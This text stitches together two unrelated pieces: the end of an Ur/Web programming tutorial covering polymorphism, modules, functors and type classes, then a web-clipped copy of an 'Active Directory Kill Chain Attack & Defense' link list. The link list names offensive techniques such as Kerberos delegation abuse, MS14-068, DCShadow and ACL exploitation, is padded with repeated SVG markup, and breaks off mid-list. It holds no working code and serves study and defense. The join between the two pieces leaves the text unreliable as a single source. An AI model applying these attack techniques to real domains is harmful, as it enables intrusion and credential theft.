is that `map` is a keyword, so we name our "map" function `mp`.\)

[code]

    fun mp [a] [b] (f : a -> b) : list a -> list b =
        let
            fun loop (ls : list a) =
                case ls of
                    [] => []
                  | x :: ls' => f x :: loop ls'
        in
            loop
        end
    
    mp inc numbers
    == 2 :: 3 :: 4 :: []
    
    mp (fn s => s ^ "!") strings
    == "a!" :: "bc!" :: []
    
    
[/code]

We can define our own polymorphic datatypes and write higher-order functions
over them.

[code]

    datatype tree a = Leaf of a | Node of tree a * tree a
    
    fun size [a] (t : tree a) : int =
        case t of
            Leaf _ => 1
          | Node (t1, t2) => size t1 + size t2
    
    size (Node (Leaf 0, Leaf 1))
    == 2
    
    size (Node (Leaf 1.2, Node (Leaf 3.4, Leaf 4.5)))
    == 3
    
    fun tmap [a] [b] (f : a -> b) : tree a -> tree b =
        let
            fun loop (t : tree a) : tree b =
                case t of
                    Leaf x => Leaf (f x)
                  | Node (t1, t2) => Node (loop t1, loop t2)
        in
            loop
        end
    
    tmap inc (Node (Leaf 0, Leaf 1))
    == Node(Leaf(1), Leaf(2))
    
    
[/code]

We also have anonymous record types, as in Standard ML. The next chapter will
show that there is quite a lot more going on here with records than in SML or
OCaml, but we'll stick to the basics in this chapter. We will add one
tantalizing hint of what's to come by demonstrating the record concatention
operator `++` and the record field removal operator `--`.

[code]

    val x = { A = 0, B = 1.2, C = "hi", D = True }
    
    x.A
    == 0
    
    x.C
    == "hi"
    
    type myRecord = { A : int, B : float, C : string, D : bool }
    
    fun getA (r : myRecord) = r.A
    
    getA x
    == 0
    
    getA (x -- #A ++ {A = 4})
    == 4
    
    val y = { A = "uhoh", B = 2.3, C = "bye", D = False }
    
    getA (y -- #A ++ {A = 5})
    == 5
    
    
    
[/code]

## Borrowed from ML

[code]

    
[/code]

Ur includes an ML-style **module system**. The most basic use case involves
packaging abstract types with their "methods."

[code]

    signature COUNTER = sig
        type t
        val zero : t
        val increment : t -> t
        val toInt : t -> int
    end
    
    structure Counter : COUNTER = struct
        type t = int
        val zero = 0
        val increment = plus 1
        fun toInt x = x
    end
    
    Counter.toInt (Counter.increment Counter.zero)
    == 1
    
    
[/code]

We may package not just abstract types, but also abstract type families. Here
we see our first use of the `con` keyword, which stands for **constructor**.
Constructors are a generalization of types to include other "compile-time
things"; for instance, basic type families, which are assigned the **kind**
`Type -> Type`. Kinds are to constructors as types are to normal values. We
also see how to write the type of a polymorphic function, using the `:::`
syntax for type variable binding. This `:::` differs from the `::` used with
the `con` keyword because it marks a type parameter as implicit, so that it
need not be supplied explicitly at call sites. Such an option is the only one
available in ML and Haskell, but, in the next chapter, we'll meet cases where
it is appropriate to use explicit constructor parameters.

[code]

    signature STACK = sig
        con t :: Type -> Type
        val empty : a ::: Type -> t a
        val push : a ::: Type -> t a -> a -> t a
        val pop : a ::: Type -> t a -> option a
    end
    
    structure Stack : STACK = struct
        con t = list
        val empty [a] = []
        fun push [a] (t : t a) (x : a) = x :: t
        fun pop [a] (t : t a) = case t of
                                    [] => None
                                  | x :: _ => Some x
    end
    
    Stack.pop (Stack.push (Stack.push Stack.empty "A") "B")
    == Some("B")
    
    
[/code]

Ur also inherits the ML concept of **functors** , which are functions from
modules to modules.

[code]

    datatype order = Less | Equal | Greater
    
    signature COMPARABLE = sig
        type t
        val compare : t -> t -> order
    end
    
    signature DICTIONARY = sig
        type key
        con t :: Type -> Type
        val empty : a ::: Type -> t a
        val insert : a ::: Type -> t a -> key -> a -> t a
        val lookup : a ::: Type -> t a -> key -> option a
    end
    
    functor BinarySearchTree(M : COMPARABLE) : DICTIONARY where type key = M.t = struct
        type key = M.t
        datatype t a = Leaf | Node of t a * key * a * t a
    
        val empty [a] = Leaf
    
        fun insert [a] (t : t a) (k : key) (v : a) : t a =
            case t of
                Leaf => Node (Leaf, k, v, Leaf)
              | Node (left, k', v', right) =>
                case M.compare k k' of
                    Equal => Node (left, k, v, right)
                  | Less => Node (insert left k v, k', v', right)
                  | Greater => Node (left, k', v', insert right k v)
    
        fun lookup [a] (t : t a) (k : key) : option a =
            case t of
                Leaf => None
              | Node (left, k', v, right) =>
                case M.compare k k' of
                    Equal => Some v
                  | Less => lookup left k
                  | Greater => lookup right k
    end
    
    structure IntTree = BinarySearchTree(struct
                                             type t = int
                                             fun compare n1 n2 =
                                                 if n1 = n2 then
                                                     Equal
                                                 else if n1 < n2 then
                                                     Less
                                                 else
                                                     Greater
                                         end)
    
    IntTree.lookup (IntTree.insert (IntTree.insert IntTree.empty 0 "A") 1 "B") 1
    == Some("B")
    
    
[/code]

It is sometimes handy to rebind modules to shorter names.

[code]

    structure IT = IntTree
    
    IT.lookup (IT.insert (IT.insert IT.empty 0 "A") 1 "B") 0
    == Some("A")
    
    
[/code]

One can even use the `open` command to import a module's namespace wholesale,
though this can make it harder for someone reading code to tell which
identifiers come from which modules.

[code]

    open IT
    
    lookup (insert (insert empty 0 "A") 1 "B") 2
    == None
    
    
[/code]

Ur adopts OCaml's approach to splitting projects across source files. When a
project contains files `foo.ur` and `foo.urs`, these are taken as defining a
module named `Foo` whose signature is drawn from `foo.urs` and whose
implementation is drawn from `foo.ur`. If `foo.ur` exists without `foo.urs`,
then module `Foo` is defined without an explicit signature, so that it is
assigned its **principal signature** , which exposes all typing details
without abstraction.

[code]

    
    
[/code]

## Borrowed from Haskell

[code]

    
[/code]

Ur includes a take on **type classes**. For instance, here is a generic "max"
function that relies on a type class `ord`. Notice that the type class
membership witness is treated like an ordinary function parameter, though we
don't assign it a name here, because type inference figures out where it
should be used. The more advanced examples of the next chapter will include
cases where we manipulate type class witnesses explicitly.

[code]

    fun max [a] (_ : ord a) (x : a) (y : a) : a =
        if x < y then
            y
        else
            x
    
    max 1 2
    == 2
    
    max "ABC" "ABA"
    == "ABC"
    
    
[/code]

The idiomatic way to define a new type class is to stash it inside a module,
like in this example:

[code]

    signature DOUBLE = sig
        class double
        val double : a ::: Type -> double a -> a -> a
        val mkDouble : a ::: Type -> (a -> a) -> double a
    
        val double_int : double int
        val double_string : double string
    end
    
    structure Double : DOUBLE = struct
        class double a = a -> a
    
        fun double [a] (f : double a) (x : a) : a = f x
        fun mkDouble [a] (f : a -> a) : double a = f
    
        val double_int = mkDouble (times 2)
        val double_string = mkDouble (fn s => s ^ s)
    end
    
    open Double
    
    double 13
    == 26
    
    double "ho"
    == "hoho"
    
    val double_float = mkDouble (times 2.0)
    
    double 2.3
    == 4.6
    
    
[/code]

That example had a mix of instances defined with a class and instances defined
outside its module. Its possible to create **closed type classes** simply by
omitting from the module an instance creation function like `mkDouble`. This
way, only the instances you decide on may be allowed, which enables you to
enforce program-wide invariants over instances.

[code]

    signature OK_TYPE = sig
        class ok
        val importantOperation : a ::: Type -> ok a -> a -> string
        val ok_int : ok int
        val ok_float : ok float
    end
    
    structure OkType : OK_TYPE = struct
        class ok a = unit
        fun importantOperation [a] (_ : ok a) (_ : a) = "You found an OK value!"
        val ok_int = ()
        val ok_float = ()
    end
    
    open OkType
    
    importantOperation 13
    == "You found an OK value!"
    
    
[/code]

Like Haskell, Ur supports the more general notion of **constructor classes** ,
whose instances may be parameterized over constructors with kinds beside
`Type`. Also like in Haskell, the flagship constructor class is `monad`.
Ur/Web's counterpart of Haskell's `IO` monad is `transaction`, which indicates
the tight coupling with transactional execution in server-side code. Just as
in Haskell, `transaction` must be used to create side-effecting actions, since
Ur is purely functional \(but has eager evaluation\). Here is a quick example
transaction, showcasing Ur's variation on Haskell `do` notation.

[code]

    val readBack : transaction int =
       src <- source 0;
       set src 1;
       n <- get src;
       return (n + 1)
    
    
[/code]

We get ahead of ourselves a bit here, as this example uses functions
associated with client-side code to create and manipulate a mutable data
source.

[/code]

[code]

# infosecn1nja/AD-Attack-Defense

**Created:**| _5/10/2019 8:09:47 AM_  
---|---  
**Updated:**| _5/10/2019 8:09:47 AM_  
**Author:**| __  
**Tags:**| _active directory threat-hunting kill-chain_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='46'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1002' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Active Directory Kill Chain Attack & Defense

<img
src='img/68747470733a2f2f646f63732e6d6963726f736f66742e636f6d2f656e2d75732f616476616e6365642d7468726561742d616e616c79746963732f6d656469612f61747461636b2d6b696c6c2d636861696e2d736d616c6c2e6a7067'
width='650' height='302' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='47'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1005' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Summary

This document was designed to be a useful, informational asset for those
looking to understand the specific tactics, techniques, and procedures
\(TTPs\) attackers are leveraging to compromise active directory and guidance
to mitigation, detection, and prevention. And understand Active Directory Kill
Chain Attack and Modern Post Exploitation Adversary Tradecraft Activity.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='48'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1008' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Table of Contents

  * Discovery
  * Privilege Escalation
  * Defense Evasion
  * Credential Dumping
  * Lateral Movement
  * Persistence
  * Defense & Detection

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='49'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1018' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Discovery

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='50'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1020' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />SPN
Scanning

  * SPN Scanning – Service Discovery without Network Port Scanning
  * Active Directory: PowerShell script to list all SPNs used
  * Discovering Service Accounts Without Using Privileges

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1026' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Data
Mining

  * A Data Hunting Overview
  * Push it, Push it Real Good
  * Finding Sensitive Data on Domain SQL Servers using PowerUpSQL
  * Sensitive Data Discovery in Email with MailSniper
  * Remotely Searching for Sensitive Files

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='52'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1034' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />User
Hunting

  * Hidden Administrative Accounts: BloodHound to the Rescue
  * Active Directory Recon Without Admin Rights
  * Gathering AD Data with the Active Directory PowerShell Module
  * Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode
  * PowerUpSQL Active Directory Recon Functions
  * Derivative Local Admin
  * Dumping Active Directory Domain Info – with PowerUpSQL\!
  * Local Group Enumeration
  * Attack Mapping With Bloodhound
  * Situational Awareness
  * Commands for Domain Network Compromise
  * A Pentester’s Guide to Group Scoping

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='53'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1049' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />LAPS

  * Microsoft LAPS Security & Active Directory LAPS Configuration Recon
  * Running LAPS with PowerView
  * RastaMouse LAPS Part 1 & 2

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1055' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>AppLocker

  * Enumerating AppLocker Config

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1059' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Privilege Escalation

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='56'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1061' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Passwords in SYSVOL & Group Policy Preferences

  * Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
  * Pentesting in the Real World: Group Policy Pwnage

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1066' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>MS14-068 Kerberos Vulnerability

  * MS14-068: Vulnerability in \(Active Directory\) Kerberos Could Allow Elevation of Privilege
  * Digging into MS14-068, Exploitation and Defence
  * From MS14-068 to Full Compromise – Step by Step

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1072' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>DNSAdmins

  * Abusing DNSAdmins privilege for escalation in Active Directory
  * From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='59'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1077' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Unconstrained Delegation

  * Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest
  * Active Directory Security Risk \#101: Kerberos Unconstrained Delegation \(or How Compromise of a Single Server Can Compromise the Domain\)
  * Unconstrained Delegation Permissions
  * Trust? Years to earn, seconds to break
  * Hunting in Active Directory: Unconstrained Delegation & Forests Trusts

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1085' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Constrained Delegation

  * Another Word on Delegation
  * From Kekeo to Rubeus
  * S4U2Pwnage
  * Kerberos Delegation, Spns And More...
  * Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='61'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1093' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Insecure Group Policy Object Permission Rights

  * Abusing GPO Permissions
  * A Red Teamer’s Guide to GPOs and OUs
  * File templates for GPO Abuse
  * GPO Abuse - Part 1

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='62'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1100' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Insecure ACLs Permission Rights

  * Exploiting Weak Active Directory Permissions With Powersploit
  * Escalating privileges with ACLs in Active Directory 
  * Abusing Active Directory Permissions with PowerView 
  * BloodHound 1.3 – The ACL Attack Path Update
  * Scanning for Active Directory Privileges & Privileged Accounts
  * Active Directory Access Control List – Attacks and Defense
  * aclpwn - Active Directory ACL exploitation with BloodHound

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='63'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1110' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Domain Trusts

  * A Guide to Attacking Domain Trusts
  * It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts
  * Active Directory forest trusts part 1 - How does SID filtering work?
  * The Forest Is Under Control. Taking over the entire Active Directory forest
  * Not A Security Boundary: Breaking Forest Trusts
  * The Trustpocalypse
  * Pentesting Active Directory Forests

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='64'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1120' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>DCShadow

  * Privilege Escalation With DCShadow
  * DCShadow
  * DCShadow explained: A technical deep dive into the latest AD attack technique
  * DCShadow - Silently turn off Active Directory Auditing
  * DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='65'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
